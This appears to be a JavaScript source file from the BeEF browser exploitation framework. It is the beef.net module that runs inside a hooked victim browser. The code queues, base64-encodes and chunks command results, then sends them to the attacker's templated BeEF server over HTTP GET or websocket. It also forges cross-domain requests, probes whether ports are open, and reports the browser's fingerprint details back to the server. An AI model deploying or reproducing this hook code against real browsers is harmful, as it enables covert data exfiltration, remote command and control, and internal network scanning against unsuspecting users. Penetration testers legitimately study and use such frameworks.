403 lines
16 KiB
JavaScript
403 lines
16 KiB
JavaScript
//
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// Copyright 2012 Wade Alcorn wade@bindshell.net
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//
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// Licensed under the Apache License, Version 2.0 (the "License");
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// you may not use this file except in compliance with the License.
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// You may obtain a copy of the License at
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//
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// http://www.apache.org/licenses/LICENSE-2.0
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//
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// Unless required by applicable law or agreed to in writing, software
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// distributed under the License is distributed on an "AS IS" BASIS,
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// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
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// See the License for the specific language governing permissions and
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// limitations under the License.
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//
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/*!
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* @literal object: beef.net
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*
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* Provides basic networking functions.
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*/
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beef.net = {
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host:"<%= @beef_host %>",
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port:"<%= @beef_port %>",
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hook:"<%= @beef_hook %>",
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handler:'/dh',
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chop:500,
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pad:30, //this is the amount of padding for extra params such as pc, pid and sid
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sid_count:0,
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cmd_queue:[],
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//Command object
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command:function () {
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this.cid = null;
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this.results = null;
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this.handler = null;
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this.callback = null;
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},
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//Packet object
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packet:function () {
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this.id = null;
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this.data = null;
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},
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//Stream object
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stream:function () {
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this.id = null;
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this.packets = [];
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this.pc = 0;
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this.get_base_url_length = function () {
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return (this.url + this.handler + '?' + 'bh=' + beef.session.get_hook_session_id()).length;
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},
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this.get_packet_data = function () {
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var p = this.packets.shift();
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return {'bh':beef.session.get_hook_session_id(), 'sid':this.id, 'pid':p.id, 'pc':this.pc, 'd':p.data }
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};
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},
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/**
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* Response Object - used in the beef.net.request callback
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* Note: as we are using async mode, the response object will be empty if returned.Using sync mode, request obj fields will be populated.
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*/
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response:function () {
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this.status_code = null; // 500, 404, 200, 302
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this.status_text = null; // success, timeout, error, ...
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this.response_body = null; // "<html>…." if not a cross domain request
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this.port_status = null; // tcp port is open, closed or not http
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this.was_cross_domain = null; // true or false
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this.was_timedout = null; // the user specified timeout was reached
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this.duration = null; // how long it took for the request to complete
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this.headers = null; // full response headers
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},
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//Queues the command, to be sent back to the framework on the next refresh
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queue:function (handler, cid, results, callback) {
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if (typeof(handler) === 'string' && typeof(cid) === 'number' && (callback === undefined || typeof(callback) === 'function')) {
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var s = new beef.net.command();
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s.cid = cid;
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s.results = beef.net.clean(results);
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s.callback = callback;
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s.handler = handler;
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this.cmd_queue.push(s);
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}
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},
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//Queues the current command and flushes the queue straight away
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send:function (handler, cid, results, callback) {
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if (typeof beef.websocket === "undefined") {
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this.queue(handler, cid, results, callback);
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this.flush();
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}
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else {
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try {
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beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid + '", "result":"' + beef.encode.base64.encode(results) + '","callback": "' + callback + '","bh":"' + beef.session.get_hook_session_id() + '" }');
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}
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catch (e) {
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//todo this is necessary because at start could happened that ws in not still up and the browser try to send back browser info via websocket and failed
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this.queue(handler, cid, results, callback);
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this.flush();
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}
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}
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},
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//Flush all currently queued commands to the framework
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flush:function () {
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if (this.cmd_queue.length > 0) {
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var data = beef.encode.base64.encode(beef.encode.json.stringify(this.cmd_queue));
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this.cmd_queue.length = 0;
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this.sid_count++;
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var stream = new this.stream();
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stream.id = this.sid_count;
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var pad = stream.get_base_url_length() + this.pad;
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//cant continue if chop amount is too low
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if ((this.chop - pad) > 0) {
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var data = this.chunk(data, (this.chop - pad));
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for (var i = 1; i <= data.length; i++) {
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var packet = new this.packet();
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packet.id = i;
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packet.data = data[(i - 1)];
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stream.packets.push(packet);
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}
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stream.pc = stream.packets.length;
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this.push(stream);
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}
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}
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},
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//Split string into chunk lengths determined by amount
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chunk:function (str, amount) {
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if (typeof amount == 'undefined') n = 2;
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return str.match(RegExp('.{1,' + amount + '}', 'g'));
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},
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//Push packets to framework
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push:function (stream) {
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//need to implement wait feature here eventually
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for (var i = 0; i < stream.pc; i++) {
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this.request(this.port == '443' ? 'https' : 'http', 'GET', this.host, this.port, this.handler, null, stream.get_packet_data(), 10, 'text', null);
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}
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},
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/**
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*Performs http requests
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* @param: {String} scheme: HTTP or HTTPS
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* @param: {String} method: GET or POST
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* @param: {String} domain: bindshell.net, 192.168.3.4, etc
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* @param: {Int} port: 80, 5900, etc
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* @param: {String} path: /path/to/resource
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* @param: {String} anchor: this is the value that comes after the # in the URL
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* @param: {String} data: This will be used as the query string for a GET or post data for a POST
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* @param: {Int} timeout: timeout the request after N seconds
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* @param: {String} dataType: specify the data return type expected (ie text/html/script)
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* @param: {Function} callback: call the callback function at the completion of the method
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*
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* @return: {Object} response: this object contains the response details
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*/
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request:function (scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) {
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//check if same domain or cross domain
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var cross_domain = true;
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if (document.domain == domain.replace(/(\r\n|\n|\r)/gm,"")) { //strip eventual line breaks
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if(document.location.port == "" || document.location.port == null){
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cross_domain = !(port == "80" || port == "443");
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}
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}
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//build the url
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var url = "";
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if (path.indexOf("http://") != -1 || path.indexOf("https://") != -1) {
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url = path;
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} else {
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url = scheme + "://" + domain;
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url = (port != null) ? url + ":" + port : url;
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url = (path != null) ? url + path : url;
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url = (anchor != null) ? url + "#" + anchor : url;
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}
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//define response object
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var response = new this.response;
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response.was_cross_domain = cross_domain;
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var start_time = new Date().getTime();
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/*
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* according to http://api.jquery.com/jQuery.ajax/, Note: having 'script':
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* This will turn POSTs into GETs for remote-domain requests.
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*/
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if (method == "POST") {
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$j.ajaxSetup({
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dataType:dataType
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});
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} else { //GET, HEAD, ...
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$j.ajaxSetup({
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dataType:'script'
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});
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}
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//build and execute the request
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$j.ajax({type:method,
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url:url,
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data:data,
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timeout:(timeout * 1000),
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//needed otherwise jQuery always add Content-type: application/xml, even if data is populated
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beforeSend:function (xhr) {
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if (method == "POST") {
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xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
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}
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},
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success:function (data, textStatus, xhr) {
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var end_time = new Date().getTime();
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response.status_code = xhr.status;
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response.status_text = textStatus;
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response.response_body = data;
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response.port_status = "open";
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response.was_timedout = false;
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response.duration = (end_time - start_time);
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},
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error:function (jqXHR, textStatus, errorThrown) {
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var end_time = new Date().getTime();
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response.response_body = jqXHR.responseText;
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response.status_code = jqXHR.status;
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response.status_text = textStatus;
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response.duration = (end_time - start_time);
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},
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complete:function (jqXHR, textStatus) {
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response.status_code = jqXHR.status;
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response.status_text = textStatus;
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response.headers = jqXHR.getAllResponseHeaders();
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// determine if TCP port is open/closed/not-http
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if (textStatus == "timeout") {
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response.was_timedout = true;
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response.response_body = "ERROR: Timed out\n";
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response.port_status = "closed";
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} else if (textStatus == "parsererror") {
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response.port_status = "not-http";
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} else {
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response.port_status = "open";
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}
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}
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}).done(function () {
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if (callback != null) {
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callback(response);
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}
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});
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return response;
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},
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/*
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* Similar to this.request, except from a few things that are needed when dealing with forged requests:
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* - requestid: needed on the callback
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* - allowCrossDomain: set cross-domain requests as allowed or blocked
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*/
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forge_request:function (scheme, method, domain, port, path, anchor, headers, data, timeout, dataType, allowCrossDomain, requestid, callback) {
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// check if same domain or cross domain
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var cross_domain = true;
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if (document.domain == domain.replace(/(\r\n|\n|\r)/gm,"")) { //strip eventual line breaks
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if(document.location.port == "" || document.location.port == null){
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cross_domain = !(port == "80" || port == "443");
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} else {
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if (document.location.port == port) cross_domain = false;
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}
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}
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// build the url
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var url = "";
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if (path.indexOf("http://") != -1 || path.indexOf("https://") != -1) {
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url = path;
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} else {
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url = scheme + "://" + domain;
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url = (port != null) ? url + ":" + port : url;
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url = (path != null) ? url + path : url;
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url = (anchor != null) ? url + "#" + anchor : url;
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}
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// define response object
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var response = new this.response;
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response.was_cross_domain = cross_domain;
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var start_time = new Date().getTime();
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// if cross-domain requests are not allowed and the request is cross-domain
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// don't proceed and return
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if (allowCrossDomain == "false" && cross_domain && callback != null) {
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response.status_code = -1;
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response.status_text = "crossdomain";
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response.port_status = "crossdomain";
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response.response_body = "ERROR: Cross Domain Request. The request was not sent.\n";
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response.headers = "ERROR: Cross Domain Request. The request was not sent.\n";
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callback(response, requestid);
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return response;
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}
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// build and execute the request
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if (method == "POST") {
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$j.ajaxSetup({
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data:data
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});
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}
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$j.ajax({type:method,
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dataType:'script', // this is required for bugs in IE so data can be transfered back to the server
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url:url,
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headers:headers,
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timeout:(timeout * 1000),
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// needed otherwise jQuery always adds:
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// Content-type: application/xml
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// even if data is populated
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beforeSend:function (xhr) {
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if (method == "POST") {
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xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
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}
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},
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// http server responded successfully
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success:function (data, textStatus, xhr) {
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var end_time = new Date().getTime();
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response.status_code = xhr.status;
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response.status_text = textStatus;
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response.response_body = data;
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response.was_timedout = false;
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response.duration = (end_time - start_time);
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},
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// server responded with a http error (403, 404, 500, etc)
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// or server is not a http server
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error:function (xhr, textStatus, errorThrown) {
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var end_time = new Date().getTime();
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response.response_body = xhr.responseText;
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response.status_code = xhr.status;
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response.status_text = textStatus;
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response.duration = (end_time - start_time);
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},
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complete:function (xhr, textStatus) {
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// cross-domain request
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if (cross_domain) {
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response.status_code = -1;
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response.status_text = "crossdomain";
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response.port_status = "crossdomain";
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response.response_body = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
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response.headers = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
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} else {
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// same-domain request
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response.status_code = xhr.status;
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response.status_text = textStatus;
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response.headers = xhr.getAllResponseHeaders();
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// determine if TCP port is open/closed/not-http
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if (textStatus == "timeout") {
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response.was_timedout = true;
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response.response_body = "ERROR: Timed out\n";
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response.port_status = "closed";
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} else if (textStatus == "parsererror") {
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response.port_status = "not-http";
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} else {
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response.port_status = "open";
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}
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}
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callback(response, requestid);
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}
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});
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return response;
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},
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//this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {}
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//http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/
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clean:function (r) {
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if (this.array_has_string_key(r)) {
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var obj = {};
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for (var key in r)
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obj[key] = (this.array_has_string_key(obj[key])) ? this.clean(r[key]) : r[key];
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return obj;
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}
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return r;
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},
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//Detects if an array has a string key
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array_has_string_key:function (arr) {
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if ($j.isArray(arr)) {
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try {
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for (var key in arr)
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if (isNaN(parseInt(key))) return true;
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} catch (e) {
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}
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}
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return false;
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},
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//Sends back browser details to framework
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browser_details:function () {
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var details = beef.browser.getDetails();
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details['HookSessionID'] = beef.session.get_hook_session_id();
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this.send('/init', 0, details);
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}
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};
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beef.regCmp('beef.net');
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